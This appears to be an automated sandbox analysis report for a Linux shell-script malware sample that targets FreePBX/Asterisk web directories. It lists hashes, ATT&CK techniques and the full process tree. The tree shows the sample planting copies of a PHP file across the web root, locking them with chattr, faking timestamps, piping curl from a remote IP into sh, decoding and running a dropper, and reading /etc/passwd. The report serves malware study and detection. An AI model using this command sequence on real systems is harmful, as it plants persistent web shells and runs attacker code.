b066f44977c70c685830e003af6b6e05c230d7f0a74241ca92b72ceb308fea49

Analysis

max time kernel
0s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
09/08/2026, 01:26

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General

Target
wr.php.sh
Size 26KB
Sample260809-btqxtagc22
SHA256 b066f44977c70c685830e003af6b6e05c230d7f0a74241ca92b72ceb308fea49
MD5 822c68d32d2129520c63b19bcb1d0558
SHA1 beacac1acb771a9325b8529c8d7c66ad5a28177d
SHA512 a8e00d03847020184733658e4d631f6d7f6c0a49a907aa78c9d27067f207c03669378c0e46a561ca7eda48cb42f8f81c23caedd89de141d5aac69737a0edb8a6
SSDEEP 768:wp8vCB+25j6es8RT69FYpMSUpi+20qUpi+20YQX:U8l25JId2QX
TLSH
T17CC27D956A867C44BEC94B3E4CBD2B1D6DF5C3D1324942AC3D8A3C719C11F9CD618B1A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1509	chmod
1510	chmod

Deobfuscate/Decode Files or Information 1 TTPs 4 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1543	base64
1478	base64
1524	base64
1538	base64

Reads runtime system information 32 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tryRoot1.sh	wr.php.sh

/tmp/wr.php.sh
/tmp/wr.php.sh
1⤵
- Writes file to tmp directory
PID:1476
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1478
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
  2⤵
  - Reads runtime system information
  PID:1480
- /bin/mkdir
  mkdir -p /var/www/html/rest_phones/
  2⤵
  - Reads runtime system information
  PID:1481
- /bin/mkdir
  mkdir -p /var/www/html/restiapps/
  2⤵
  - Reads runtime system information
  PID:1482
- /bin/mkdir
  mkdir -p /var/www/html/restiapp/
  2⤵
  - Reads runtime system information
  PID:1483
- /bin/mkdir
  mkdir -p /var/www/html/phones/
  2⤵
  - Reads runtime system information
  PID:1484
- /bin/mkdir
  mkdir -p /var/www/html/digiums/
  2⤵
  - Reads runtime system information
  PID:1485
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/h/
  2⤵
  - Reads runtime system information
  PID:1486
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/fpbxphones/
  2⤵
  - Reads runtime system information
  PID:1487
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/phones/
  2⤵
  - Reads runtime system information
  PID:1488
- /bin/mkdir
  mkdir -p /var/www/html/digium_phones/
  2⤵
  - Reads runtime system information
  PID:1489
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/some.php
  2⤵
  - Reads runtime system information
  PID:1491
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/some.php
  2⤵
  - Reads runtime system information
  PID:1493
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/some.php
  2⤵
  - Reads runtime system information
  PID:1494
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/some.php
  2⤵
  - Reads runtime system information
  PID:1495
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/core/some.php
  2⤵
  - Reads runtime system information
  PID:1496
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/some.php
  2⤵
  - Reads runtime system information
  PID:1497
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/digiums/some.php
  2⤵
  - Reads runtime system information
  PID:1499
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/phones/some.php
  2⤵
  - Reads runtime system information
  PID:1500
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/restiapp/some.php
  2⤵
  - Reads runtime system information
  PID:1501
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/some.php
  2⤵
  - Reads runtime system information
  PID:1502
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/some.php
  2⤵
  - Reads runtime system information
  PID:1503
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/assets/js/views/some.php
  2⤵
  - Reads runtime system information
  PID:1505
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/restiapps/some.php
  2⤵
  - Reads runtime system information
  PID:1506
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/digium_phones/some.php
  2⤵
  - Reads runtime system information
  PID:1507
- /usr/bin/touch
  touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
  2⤵
  PID:1508
- /bin/chmod
  chmod +x /var/www/html/admin/views/ajax.php
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /bin/chmod
  chmod +x /var/www/html/admin/views/some.php
  2⤵
  - File and Directory Permissions Modification
  PID:1510
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/ajax.php
  2⤵
  PID:1511
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/ajax.php
  2⤵
  PID:1512
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/some.php
  2⤵
  PID:1513
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/some.php
  2⤵
  PID:1514
- /usr/bin/chattr
  chattr +i /var/www/html/some.php
  2⤵
  PID:1515
- /usr/bin/chattr
  chattr +a /var/www/html/some.php
  2⤵
  PID:1516
- /usr/bin/chattr
  chattr +i /var/www/html/h.php
  2⤵
  PID:1517
- /usr/bin/chattr
  chattr +a /var/www/html/h.php
  2⤵
  PID:1518
- /bin/sh
  sh
  2⤵
  PID:1522
- /usr/bin/curl
  curl http://160.119.69.4/z/post/noroot.php
  2⤵
  PID:1521
- /usr/bin/tee
  tee -a /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:1525
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:1524
- /bin/bash
  bash /tmp/tryRoot1.sh
  2⤵
  PID:1529
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:1532
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:1533
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:1534
- - /bin/mkdir
    mkdir -p /var/www/html/admin/modules/freepbx_ha/
    3⤵
    - Reads runtime system information
    PID:1535
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
    3⤵
    - Reads runtime system information
    PID:1536
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1538
- - /bin/rm
    rm -f /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    PID:1539
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    - Reads runtime system information
    PID:1540
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:1541
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1543
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:1544
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:1545
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:1546
- /bin/bash
  bash /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:1547
- /bin/rm
  rm -rf /tmp/tryRoot1.sh
  2⤵
  PID:1548
- /bin/rm
  rm -rf /var/spool/asterisk/tmp/tryRoot1.sh
  2⤵
  PID:1549
- /bin/sh
  sh
  2⤵
  PID:1551
- /usr/bin/curl
  curl http://160.119.69.4/z/post/noroot.php
  2⤵
  PID:1550

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

tryRoot1.sh

Path /tmp/tryRoot1.sh
Size 11KB
SHA256 9ed7c1cdf1cb3851b1641cc586d90356c82db2f52585ede4d6d367a0b8bec02b
MD5 8cb7008cbeb1b579946d1c77139a2ea0
SHA1 eb9fc5af92b42ac9eb9efbb847cbd67284ed19ef
SHA512 d4932397a4ddc7ba9643ca82e1ae852b6a8afc2b15824f90afdf439509e60944a5c5608fd0e8a97ff3cd9c8bd4b48c76db8633e8f787d1e2256c9c6b9dcc94ab
SSDEEP 192:zroaKAtVgmuC13sihwiYPMUroaKAtVgmuC13sihwiYPM8roaKAtVgmuC13sihwi6:zro/AMC1cJlP9ro/AMC1cJlPHro/AMCq
TLSH
T1DF32C783066F3275E2063FAB5CFD1F9C7BEA8B4A34A2692529063D9445DDC0FD470A5C
MD5 SHA1 SHA512 SSDEEP TLSH

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